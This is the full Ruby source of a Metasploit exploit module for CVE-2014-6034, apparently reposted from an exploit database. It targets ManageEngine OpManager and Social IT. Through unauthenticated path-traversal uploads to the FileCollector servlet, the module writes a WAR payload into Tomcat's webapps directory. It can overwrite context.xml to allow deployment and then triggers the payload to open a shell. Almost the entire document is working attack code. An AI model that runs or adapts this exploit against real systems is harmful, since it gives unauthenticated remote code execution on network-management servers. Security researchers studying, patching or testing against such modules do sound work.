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# ManageEngine OpManager / Social IT Arbitrary File Upload

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 ##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'ManageEngine OpManager / Social IT Arbitrary File Upload',
'Description' => %q{
This module exploits a file upload vulnerability in ManageEngine OpManager and Social IT.
The vulnerability exists in the FileCollector servlet which accepts unauthenticated
file uploads. This module has been tested successfully on OpManager v8.8 - v11.3 and on
version 11.0 of SocialIT for Windows and Linux.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2014-6034' ],
[ 'OSVDB', '112276' ],
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_opmanager_socialit_it360.txt'
],
[ 'URL', 'http://seclists.org/fulldisclosure/2014/Sep/110' ]
],
'Privileged' => true,
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Targets' =>
[
[ 'OpManager v8.8 - v11.3 / Social IT Plus 11.0 Java Universal', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 27 2014'))

register_options(
[
Opt::RPORT(80),
OptInt.new('SLEEP',
[true, 'Seconds to sleep while we wait for WAR deployment', 15]),
], self.class)
end

def check
res = send_request_cgi({
'uri' =>
normalize_uri("/servlet/com.me.opmanager.extranet.remote.communication.fw.fe.FileCollector"),
'method' => 'GET'
})

# A GET request on this servlet returns "405 Method not allowed"
if res and res.code == 405
return Exploit::CheckCode::Detected
end

return Exploit::CheckCode::Safe
end


def upload_war_and_exec(try_again, app_base)
tomcat_path = '../../../tomcat/'
servlet_path = '/servlet/com.me.opmanager.extranet.remote.communication.fw.fe.FileCollector'

if try_again
# We failed to obtain a shell. Either the target is not vulnerable or the Tomcat configuration
# does not allow us to deploy WARs. Fix that by uploading a new context.xml file.
# The file we are uploading has the same content apart from privileged="false" and lots of XML
comments.
# After replacing the context.xml file let's upload the WAR again.
print_status("#{peer} - Replacing Tomcat context file")
send_request_cgi({
'uri' => normalize_uri(servlet_path),
'method' => 'POST',
'data' => %q{<?xml version='1.0' encoding='utf-8'?><Context
privileged="true"><WatchedResource>WEB-INF/web.xml</WatchedResource></Context>},
'ctype' => 'application/xml',
'vars_get' => {
'regionID' => tomcat_path + "conf",
'FILENAME' => "context.xml"
}
})
else
# We need to create the upload directories before our first attempt to upload the WAR.
print_status("#{peer} - Creating upload directories")
bogus_file = rand_text_alphanumeric(4 + rand(32 - 4))
send_request_cgi({
'uri' => normalize_uri(servlet_path),
'method' => 'POST',
'data' => rand_text_alphanumeric(4 + rand(32 - 4)),
'ctype' => 'application/xml',
'vars_get' => {
'regionID' => "",
'FILENAME' => bogus_file
}
})
register_files_for_cleanup("state/archivedata/zip/" + bogus_file)
end

war_payload = payload.encoded_war({ :app_name => app_base }).to_s

print_status("#{peer} - Uploading WAR file...")
res = send_request_cgi({
'uri' => normalize_uri(servlet_path),
'method' => 'POST',
'data' => war_payload,
'ctype' => 'application/octet-stream',
'vars_get' => {
'regionID' => tomcat_path + "webapps",
'FILENAME' => app_base + ".war"
}
})

# The server either returns a 500 error or a 200 OK when the upload is successful.
if res and (res.code == 500 or res.code == 200)
print_status("#{peer} - Upload appears to have been successful, waiting " + datastore['SLEEP'].to_s +
" seconds for deployment")
sleep(datastore['SLEEP'])
else
fail_with(Exploit::Failure::Unknown, "#{peer} - WAR upload failed")
end

print_status("#{peer} - Executing payload, wait for session...")
send_request_cgi({
'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)),
'method' => 'GET'
})
end


def exploit
app_base = rand_text_alphanumeric(4 + rand(32 - 4))

upload_war_and_exec(false, app_base)
register_files_for_cleanup("tomcat/webapps/" + "#{app_base}.war")

sleep_counter = 0
while not session_created?
if sleep_counter == datastore['SLEEP']
print_error("#{peer} - Failed to get a shell, let's try one more time")
upload_war_and_exec(true, app_base)
return
end

sleep(1)
sleep_counter += 1
end
end
end



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# Iranian Exploit DataBase = http://IeDb.Ir [2014-10-02]

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